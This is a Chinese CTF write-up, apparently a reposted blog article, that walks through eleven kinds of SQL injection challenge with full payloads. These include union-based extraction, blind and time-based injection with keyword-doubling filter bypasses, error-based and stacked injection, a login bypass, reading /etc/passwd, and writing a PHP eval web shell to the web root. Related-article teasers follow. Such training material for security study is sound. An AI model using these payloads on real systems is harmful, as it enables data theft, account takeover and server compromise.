SQL注入 - CTF常见题型

文章目录

  • 题型一 ( 字符型注入 )
  • 题型二 ( 整数型注入 )
  • 题型三 ( 信息收集+SQL注入)
  • 题型四 ( 万能密码登录 )
  • 题型五 ( 搜索型注入+文件读写 )
  • 题型六 ( 布尔盲注 Burp Suite)
  • 题型七 ( 延时盲注 Burp Suite )
  • 题型八 ( 报错注入 )
  • 题型九 ( 堆叠注入 )
  • 题型十 ( 二次注入 )
  • 题型十一( INSERT注入 )

题型一 ( 字符型注入 )

首先看题目、需要输入ID号

输入 1 点击查询

这里提示SQL语句为

SELECT * FROM userinfo WHERE `Id` = '1'

判断注入点,构造闭合语句,进行逻辑尝试,得出 1’ 报错、1‘#不报错、‘1’ and 1=1 #’ 不报错、‘1’ and 1=2 #’ 报错,由此可得此题为字符型SQL注入漏洞。

SELECT * FROM userinfo WHERE `Id` = '1''

SELECT * FROM userinfo WHERE `Id` = '1'#'

SELECT * FROM userinfo WHERE `Id` = '1' and 1=1 #'

SELECT * FROM userinfo WHERE `Id` = '1' and 1=2 #'

使用 ORDER BY 语句判断列数,到5时报错,判断列数为4

SELECT * FROM userinfo WHERE `Id` = '1' order by 1 #'
......
SELECT * FROM userinfo WHERE `Id` = '1' order by 5 #'

使用 UNION SELECT 判断显示位

SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,4 #'

爆数据库、爆数据包、爆字段、爆字段数据、拿到flag值

SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'

SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #'

SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' #'

SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(Id,':',flag) from flag #'

题型二 ( 整数型注入 )

先看题,需要输入1试试

提示sql语句为

select * from news where id=1

判断注入类型、1 显示数据、1‘ 不显示 1’# 也不显示、1+1显示ID=2,由此判断该注入类型为整数型注入

select * from news where id=1

select * from news where id=1'

select * from news where id=1'#

select * from news where id=1+1

逻辑判断

select * from news where id=1 and 1=1 

select * from news where id=1 and 1=2

使用 ORDER BY 语句判断列数,3位时报错、判断列数为2

select * from news where id=1 order by 3

使用 UNION SELECT 判断显示位

select * from news where id=-1 union select 1,2

爆数据库、爆数据包、爆字段、爆字段数据、拿到flag值

select * from news where id=-1 union select group_concat(schema_name),2 from information_schema.schemata

select * from news where id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

select * from news where id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='flag'

select * from news where id=-1 union select group_concat(flag),2 from flag

题型三 ( 信息收集+SQL注入)

先看题,点击了几个点都没有发现可以注入的地方

点击F12 - 网络 - 点击测试新闻1 - F5刷新页面 - 发现存在一个连接地址 ‘/backend/content_detail.php?id=1’

进行访问,并尝试SQL注入,通过页面回显发现是整数型注入

/content_detail.php?id=1

/content_detail.php?id=2

/content_detail.php?id=3

/content_detail.php?id=1'

/content_detail.php?id=1'#

/content_detail.php?id=1 and 1=1

/content_detail.php?id=1 and 1=2

找到注入点后面就进行常规的SQL注入就行了

/backend/content_detail.php?id=1 order by 3

/backend/content_detail.php?id=-1 union select 1,2

/backend/content_detail.php?id=-1 union select group_concat(schema_name),2 from information_schema.schemata

/backend/content_detail.php?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

/backend/content_detail.php?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='admin'

/backend/content_detail.php?id=-1 union select group_concat(id,':',username,':',password),2 from admin

得出结果为如下,看起来好像是md5加密的但是通过解密平台无法解密、那我们尝试直接使用此账号密码登录一下试试

1:admin:756ba5042c492a3c2481f29e6b796bd6

登录成功获取到flag

题型四 ( 万能密码登录 )

先看题

使用弱口令密码 admin:admin 登录失败,显示 ‘ NO,Wrong username password!!!’

尝试寻找闭合方法,发现是单引号闭合,因为报了一个语法错误

admin'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

尝试使用万能密码绕过登录,发现登录失败,尝试使用 || 绕过 or,发现登录成功,这题就是过滤了 ‘or’

admin' or '1'='1

admin' || '1'='1

题型五 ( 搜索型注入+文件读写 )

先看题目,通过点击页面,发现一些注入点,在尝试闭合操作和逻辑判断的时候都显示非法访问,这时候就要改变一下思路了。

发现有个搜索框,那么对搜索框进行一下SQL注入

//模拟一下后台SQL语句
select * from users where key='%xxx%'

// 我们先传一个 1 试试,如果按照我们试想的语句应该是不会报错并可以返回数据的; 成功返回数据
select * from users where key='%1%'

//那我构造一个闭合语句呢,我们传参一个  1%'#  ,发现还是正常返回数据
select * from users where key='%1%' #%'

//那继续构造一个逻辑语句,我们传参 1%' and 1=1#  1%' and 1=2# ,发现1=2没有返回数据,这样正符合我们预期,由此判断此搜索框存在SQL注入漏洞

select * from users where key='%1%' and 1=1#%'
select * from users where key='%1%' and 1=2#%'

进行列数、显示位判断

1%' order by  3 #

-1%' union select 1,2,3 #

测试一下是否可以进行文件读写操作,发现可以进行读文件

-1%' union select 1,2,load_file('/etc/passwd') #

那么接下来我们需要,通过进行信息收集的方法找到网站的绝对路径或者网站根目录,进行文件写马操作,通过webshell获取网站权限,打开 F12 - 网络,分析一下,发现此网站的中间件是nginx,那么我们可以通过读一下nginx的默认配置文件路径来获取更多的信息。
通过配置文件发现了,网站根目录,接下来就可以进写马操作

key=-1%' union select 1,2,load_file('/etc/nginx/nginx.conf') #

-1%' union select 1,2,'<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/1.php' #

写完之后进行访问,并使用蚁剑进行测试连接,连接成功获取了flag

http://xxxxx:8141/1.php

题型六 ( 布尔盲注 Burp Suite)

?id=1 and 1=1

# 判断长度
?id=1 and length((select database()))=1  # 循环遍历

key=1' and 10=length((select database()))#


--  判断具体数据
?id=1 and substr((select database()),1,1)='a' 

key=1米' and substr((select database()),1,1)='s' #

-- 判断所有的数据库
?id=1 and length(( select group_concat(schema_name) from information_schema.schemata ))=1
?id=1 and substr(( select group_concat(schema_name) from information_schema.schemata  ),1,1)='a' 

-- 判断指定的数据库的数据表
?id=1 and length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))=1
?id=1 and substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,1)='a' 

-- 判断指定的数据库的数据表的字段
?id=1 and length(( select group_concat(column_name) from information_schema.columns where table_name='表名' ))=1
?id=1 and substr(( select group_concat(column_name) from information_schema.columns where table_name='表名' ),1,1)='a' 


-- 判断指定的数据库的数据表的字段的具体值
?id=1 and length(( select group_concat(id,username,password) from 表名 ))=1
?id=1 and substr(( select group_concat(id,username,password) from 表名 ),1,1)='a' 
-- 判断所有的数据库
?id=1 and length(( select group_concat(schema_name) from information_schema.schemata ))=1
?id=1 and substr(( select group_concat(schema_name) from information_schema.schemata  ),1,1)='a' 

-- 判断指定的数据库的数据表
?id=1 and length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))=1
?id=1 and substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,1)='a' 

-- 判断指定的数据库的数据表的字段
?id=1 and length(( select group_concat(column_name) from information_schema.columns where table_name='表名' ))=1
?id=1 and substr(( select group_concat(column_name) from information_schema.columns where table_name='表名' ),1,1)='a' 


-- 判断指定的数据库的数据表的字段的具体值
?id=1 and length(( select group_concat(id,username,password) from 表名 ))=1
?id=1 and substr(( select group_concat(id,username,password) from 表名 ),1,1)='a'

使用 Burp Suite 进行布尔盲注操作

先看题、首先抓一个数据包、发送到爆破模块

判断注入类型,通过页面回显发现为字符型

http://192.168.174.128:8081/Less-8?id=1
http://192.168.174.128:8081/Less-8?id=1'
http://192.168.174.128:8081/Less-8?id=1' and 1=1 --+
http://192.168.174.128:8081/Less-8?id=1' and 1=2 --+

判断数据库长度、通过BP抓包,并循环遍历

http://192.168.174.128:8081/Less-8?id=1' and length((select database()))=1 --+

通过长度判断、数据库长度为8

判断数据库具体值,抓包进行爆破

http://192.168.71.109:8081/Less-8?id=1' and mid(((select database())),1,1)='a' --+

爆破得出 数据库名为:‘security’

判断指定的数据库的数据表长度和具体数据

http://192.168.71.109:8081/Less-8?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' --+

当前数据库得数据表长度为 29

数据库表得具体数据:emails,referers,uagents,users

判断指定的数据库的数据表的字段长度,判断为 20

http://192.168.71.109:8081/Less-8?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))=1 --+

判断指定的数据库的数据表的字段值,值为:id,username,password

http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1)='a' --+

判断指定的数据库的数据表的字段的具体值

http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(id,username,password) from users ),1,1)='a' --+

题型七 ( 延时盲注 Burp Suite )

先看题、首先判断注入点和注入类型

username=1'&password=1
username=1&password=1
username=1'#&password=1
username=1' oorr 1=2 #&password=1
username=1' oorr 1=1 #&password=1
username=1' oorr slsleepeep(3)#&password=1

发现过滤了and or sleep if select mid from mid,并测试and没有用,使用双写or进行逻辑判断,发现存在字符型延时注入漏洞

判断当前数据库长度,首先抓包,然后爆破长度,记得选择通过响应时间筛选,延时最大的那个就是我们想要得数字,判断数据库长度为 5

username=1' oorr iiff((length((seselectlect database()))=1),slsleepeep(6),1) #&password=1

判断当前数据库得具体数据,依旧对比响应时间和长度,判断数据库值为:hazel

username=1' oorr iiff((mimidd((select database()),1,1)='a'),slsleepeep(6),1) #&password=1

判断当前数据库下表的长度,发现表长度为 5

username=1' oorr iiff((length((seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()))=1),slsleepeep(6),1) #&password=1

判断表的具体值,得出表名为users

username=1' oorr iiff((mimidd((seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),1,1)='a'),slsleepeep(6),1) #&password=1

判断表中的列名的长度,得出长度为 20

username=1' oorr iiff((length((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='users'))=1 ),slsleepeep(6),1) #&password=1

判断表中的列名的具体值,得到具体值为:id,username,password

username=1' oorr iiff((mimidd((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='users'),1,1)='a' ),slsleepeep(6),1) #&password=1

获得flag值,

username=1' oorr iiff((mimidd((seselectlect group_concat(id,username,passwoorrd) frfromom users),1,1)='a' ),slsleepeep(6),1) #&password=1


获取flag值还是最好使用ASCII码

username=1' oorr iiff((asasciicii(mimidd((seselectlect group_concat(id,username,passwoorrd) frfromom users),1,1))='1' ),slsleepeep(6),1) #&password=1

题型八 ( 报错注入 )

先看题目,随便输入一个账号密码,会报错 # NO,Wrong username password!!!

判断注入点和注入类型,发现为字符型注入,并过滤了 很多字符双写绕过就行了, 并存在报错注入

/check.php?username=1'&password=1
/check.php?username=1'%23&password=1
/check.php?username=admin' anandd/**/1=1 %23&password=1
/check.php?username=admin' anandd/**/1=2 %23&password=1

查当前数据库,得到数据库为:geek

/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(select database()),0x7e),1)%23&password=a

查看所有数据库,得到数据为: ‘~information_schema,geek,mysql,p’

/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(schema_name)/**/frfromom/**/infoorrmation_schema.schemata),0x7e),1)%23&password=a

查看geek数据库下的表,得到表为:‘geekuser,ssql

/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/frfromom/**/infoorrmation_schema.tables/**/whwhereere/**/table_schema=database()),0x7e),1)%23&password=a

查看geekuser表字段,得到字段为:‘id,username,password

/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/whwhereere/**/table_schema=database()/**/anandd/**/table_name='geekuser'),0x7e),1)%23&password=a

查看字段具体值, 得到账号密码 ‘~1admine28dd73cc01b8087e30fcc023’

?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(id,username,passwoorrd)/**/frfromom/**/geekuser),0x7e),1)%23&password=a

题型九 ( 堆叠注入 )

先看题,发现有提示 ‘别打头’ 注入点可能是http头部注入

抓POST包,构造语句进行注入,修改User-Agent字段,看响应包得长度,发现存在注入点

User-Agent: 1
User-Agent: 1'
User-Agent: 1'#
User-Agent: 1' and 1=2 #
User-Agent: 1' and 1=1 #
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit

使用堆叠注入,获取当前数据库为:hazel

POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit

获取当前数据库得表名

POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();use hazel;show tables;#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit
23323333</p></html><html><p hidden> emails</p></html><html><p hidden> referers</p></html><html><p hidden> uagents</p></html><html><p hidden> users</p></html></font>

查看 23323333 表中数据,获得了flag值:flag{7609695b-15ae-4310-aaf1-85c773c14858}

POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();use hazel;show tables;select * from `23323333`;#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit

题型十 ( 二次注入 )

首先看题,找到题目所有的功能点,有注册,登录,重置密码

让我们使用admin用户进行登录,即可获取key,这题又是二阶注入题目,那么我们先试试能否注册一个 admin用户,发现admin用户已经被注册,那就没有办法去利用

那我们试想一下,注册一个 admin’ 这样的用户呢?构造一下 重置密码的SQL语句

update users set password=$pass where username = $name

如果 $name 是被单引号包裹的话,重置 admin’ 这个用户的密码那么就会出现报错,我们验证一下

update users set password=$pass where username = 'admin''

创建成功登录,并进行重置密码操作

发现没有任何反应,因为正常操作重置密码会提示 ‘成功’ ,我们注册的 admin‘ 没有任何提示

那么我们就可以判断,重置密码界面可能存在注入点,那么我们就可以构造恶意用户,让引号进行包裹,在进行重置密码就相当于重置了admin账号的密码,就可以进行登录操作了。

update users set password=$pass where username = 'admin'#'

创建成功,登录并修改密码

然后使用admin账号和刚刚修改的密码登录,发现成功获取了flag值,flag{f5f3df31-6c0e-44c1-bf9e-248d53571bda}

题型十一( INSERT注入 )

查看题目

点击文章发布随便发一个文章,并进行抓包

响应包,返回了SQL语句

insert into article(title,author,description,content,dateline) values('1','2','3','4',1701156599)

构造注入语句

insert into article(title,author,description,content,dateline) values('1','2','3','4',123),(1,2,3,(select database()),5) #',1701156599)

需要替换的语句为

4',123),(1,2,3,(select database()),5) #'

爆表名

4',123),(1,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),3,4,5) #

爆列名

4',123),(1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='hazel' and table_schema=database()),5) #

爆字段名

4',123),(1,2,3,(select group_concat(flag_is_here) from hazel ),5) #

拿到flag,flag{f57d071a-97ee-4e39-99ed-35c9cda4258d}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/201546.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何使用 ONLYOFFICE 文档代理功能

简介 ONLYOFFICE 文档以在线应用程序的方式运行&#xff0c;在很多情形中可能会存在需要将其集成至内部网络的情形。如今&#xff0c;许多内部网络维护者可能会出于某些目的使用不同的 Web 服务器作为代理。此时ONLYOFFICE 文档中的代理功能就能派上用场了。市面上应用最广泛的…

python安装PyHook3

pyhook 报错 “TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’” 一、PyHook3简介 pyHook包为Windows中的全局鼠标和键盘事件提供回调。Python应…

实验一 SAS 基本操作和数据表的导入 2023-11-29

一、上机目的 熟悉SAS的集成环境并掌握它的基本操作。理解SAS程序的结构&#xff0c;理解其中的过程&#xff0c;过程选项&#xff0c;语句&#xff0c;语句选项等概念&#xff0c;掌握SAS编程技术。 二、上机内容 主要有SAS操作界面、SAS窗口操作、SAS菜单操作、SAS按钮操作…

基于yolov2深度学习网络的打电话行为检测系统matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1、YOLOv2网络原理 4.2、基于YOLOv2的打电话行为检测 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 .................................…

python读取excel自动化生成sql建表语句和java实体类字段

1、首先准备一个excel文件&#xff1a; idtypenameidint学号namestring姓名ageint年龄sexstring性别weightdecimal(20,4)体重scoredecimal(20,4)分数 2、直接生成java字段和注释&#xff1a; import pandas as pddf pd.read_excel(test.xlsx, sheet_nameSheet1)for i in ran…

算法通关第十七关黄金挑战——透析跳跃问题

大家好&#xff0c;我是怒码少年小码。 本篇是贪心思想的跳跃问题专题&#xff0c;跳跃问题出现的频率很高。 跳跃游戏 LeetCode 55&#xff1a;给你一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标。数组中的每个元素代表你在该位置可以跳跃的最大长度。 …

Mac单独修改应用语言

方法1: 方法2: defaults write com.microsoft.Excel AppleLanguages ("zh-cn") defaults write com.microsoft.Word AppleLanguages ("zh-cn")参考&#xff1a;https://www.zhihu.com/question/24976020

【BUG合集】(一)①数据库存1/0,请求结果返回true和false;②sql查数据库能查,但mybatis查为空;③data64图片存储为异常;

前言 最近&#xff0c;在工作上接手的任务中&#xff0c;各种 bug 问题出现&#xff0c;在解决的同时也可以记录一下。因此&#xff0c;觉得可以出个记录 bug 合集。方便后来者碰到类似情况&#xff0c;可以作为一个参考进行解决。 文章题目就包含当前文章内容中所遇到的三个 b…

iMazing是什么软件?2024最新版本如何下载

iMazing是一款功能强大的iOS设备管理软件&#xff0c;它可以帮助用户备份和管理他们的iPhone、iPad或iPod Touch上的数据。除此之外&#xff0c;它还可以将备份数据转移到新的设备中、管理应用程序、导入和导出媒体文件等。本文将详细介绍iMazing的功能和安全性&#xff0c;并教…

算法通关村-----超大规模数据场景的问题

对20GB文件进行排序 问题描述 假设有一个20GB的文件&#xff0c;每行一个字符串&#xff0c;请说明如何对这个文件进行排序 问题分析 20GB的文件很难一次加载到内存中&#xff0c;可以采用分块策略&#xff0c;先使块内有序&#xff0c;在使块间有序。 实现思路 按照给定…

鸿蒙开发已成新趋势

随着华为鸿蒙操作系统的快速崭露头角&#xff0c;鸿蒙开发已然成为当前技术领域的热门新趋势。本文将深入探讨鸿蒙开发的重要性和独特优势&#xff0c;并详细介绍一些关键的鸿蒙开发技术和工具&#xff0c;以及它们对开发者个人和整个行业带来的深远影响。 首先&#xff0c;鸿蒙…

JOSEF约瑟 逆功率继电器 GG-21 5a 100v 50hz

系列型号 GG-21逆功率继电器 GG-22过载继电器 1 用途 逆功率继电器GG-21/5A/100V 在出现逆功率时&#xff0c;从电网中断开交流发电机。 2 概述 逆功率继电器是基于感应式原理(具有旋转磁场)而工作。 继电器导磁体由两个磁路系统组成&#xff1a;上磁路系统和下磁路系统…

ubuntu16.04部署gitlab-runner触发gitlab流水线

环境&#xff1a;ubuntu16.04 gitlab服务器&#xff1a;192.168.1.12 runner服务器&#xff1a;192.168.1.11 1.下载 环境&#xff1a;192.168.1.11 cd /usr/local/srcwget https://gitlab-runner-downloads.s3.amazonaws.com/latest/deb/gitlab-runner_amd64.debsudo dpkg …

2023.11.25 python常用数据集信息查看命令

2023.11.25 python常用数据集信息查看命令 在对数据集进行处理前一般需要对数据集先进行一个基本的观察&#xff0c;根据观察结果和经验确定处理方式。以kaggle员工离职数据集为例进行操作。 打印前5条数据 # 导入包 import pandas as pd# 读入数据 df pd.read_csv(HR_comm…

AIoT智能物联网平台技术架构参考

具体来说&#xff0c;AIoT平台能够实现智能终端设备之间、不同系统平台之间、不同应用场景之间的互融互通&#xff0c;进一步推动万物互联的进程。 AIoT智能物联网平台是结合了人工智能&#xff08;AI&#xff09;和物联网&#xff08;IoT&#xff09;技术的平台。它旨在通过物…

WS2812灯条基于WLED开源项目无门槛使用简介

WS2812灯条基于WLED开源项目无门槛使用简介 &#x1f4cc;项目github地址&#xff1a;https://github.com/Aircoookie/WLED&#x1f4cd;WLED详情地址&#xff1a;https://kno.wled.ge/&#x1f388;网页在线烧录固件地址&#xff1a;https://install.wled.me/ ✨ 仅作为使用的…

Python用itertools.product函数生成10位的0,1组合

需求&#xff1a;有10个指标&#xff0c;每个指标有0、1两种结果&#xff0c;生成所有可能出现的情况。解决&#xff1a;基于数学知识&#xff0c;我们很容易知道总共有组合数为2^101024种 那么使用python我们该如何用代码实现呢&#xff1f; python中的函数为itertools.produ…

初识向量数据库

背景 现在的数据分为20%的传统结构化数据&#xff0c;80%的非结构化数据 结构化数据&#xff1a;主要单元是数值与符号&#xff0c;数据类型高度抽象且易于组织。基于数值运算与关系代数&#xff0c;可以轻松地对结构化数据进行分析。 非结构化数据&#xff1a;常见的类型包括…

代理模式,dk动态代理,cglib动态代理

目录 一、代理模式1、生活中代理案例2、为什么要使用代理3、代理模式在Java中的应用4、什么是代理模式 二、代理的实现方式1、java中代理图示2、静态代理 三、动态代理1、概述2、JDK动态代理jdk动态代理原理分析 3、Cglib动态代理3.1 基本使用3.2 cglib基本原理 一、代理模式 …

常使用的定时任务

常使用的定时任务 一、 linux自带的定时任务 1、crontab 有这样一个需求&#xff1a;我们使用Java写一个工具jar包在系统空闲的时候去采集已经部署在Linux系统上的项目的一 些数据&#xff0c;可以使用 linux 系统的 crontab。 运行crontab -e&#xff0c;可以编辑定时器&…